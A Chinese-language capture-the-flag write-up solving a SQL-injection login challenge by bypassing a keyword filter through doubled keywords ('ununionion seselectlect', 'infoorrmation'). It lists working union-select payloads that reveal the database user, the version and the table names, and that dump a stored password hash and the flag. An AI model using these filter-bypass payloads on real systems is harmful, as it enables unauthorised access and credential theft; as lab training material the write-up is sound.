打开题目
随便输入账号密码
根据报错信息可知这是单引号的字符型注入
那我们试试万能密码
1' or '1'='1 页面报错
1 or '1'='1 页面报错
而且根据报错内容显示是没有我们注入上去的or的
那我们就试试
1' order by 3 #
页面报错,根据报错显示页面过滤掉了or和by
那我们试试
-1' union select 1,2,3,4 #
根据报错显示页面过滤了union和select
那我们就可以尝试双写绕过
1' ununionion seselectlect 1 #
报错显示有不同的列名
那就一个一个试吧
1' ununionion seselectlect 1,2,3#
页面正常
并且这里显示报错显示位为2,3
1' ununionion seselectlect 1,2,3,4#
页面报错
说明列名字段数为3
爆用户名和数据库名
-1’ ununionion seselectlect 1,user(),database() #
这样我们就可以知道数据库用户名为root@localhost,数据库名为geek
-1' ununionion seselectlect 1,version(),@@version_compile_os #
这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB
总结一下就是
操作系统version_compile_os:Linux
数据库版本version(): 10.3.18-MariaDB
数据库用户名user(): root@localhost
数据库名database(): geek
接下来我们查询geek数据库下的表名信息
-1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #
我们发现informmation,where都被过滤掉了
那我们对其进行双写
-1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #
忘记页面是过滤or了
重新换个姿势
-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
说明表名有b4bsql,geekuser
爆破列名
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #
爆破数据
-1' uunionnion seselectlect 1,2,password frfromom geekuser #
又忘记过滤or了
-1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser #
这下爆出了password为2ac772d9987993a29b85958839d4e468
用户名为admin
id为1
尝试登录了一下用户名和密码,发现下面没有flag
那我们爆破b4bsql表下的列名
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #
发现下面也有三个列名
-1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #
查看页面源代码得到flag
知识点:
常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户
information_schema.schemata
获取所有数据库信息
表包含以下列:
- catalog_name:目录名称
- schema_name: 模式(数据库)的名称。
- default_character_set_name: 数据库编码。
- default_collation_name: 数据库排序规则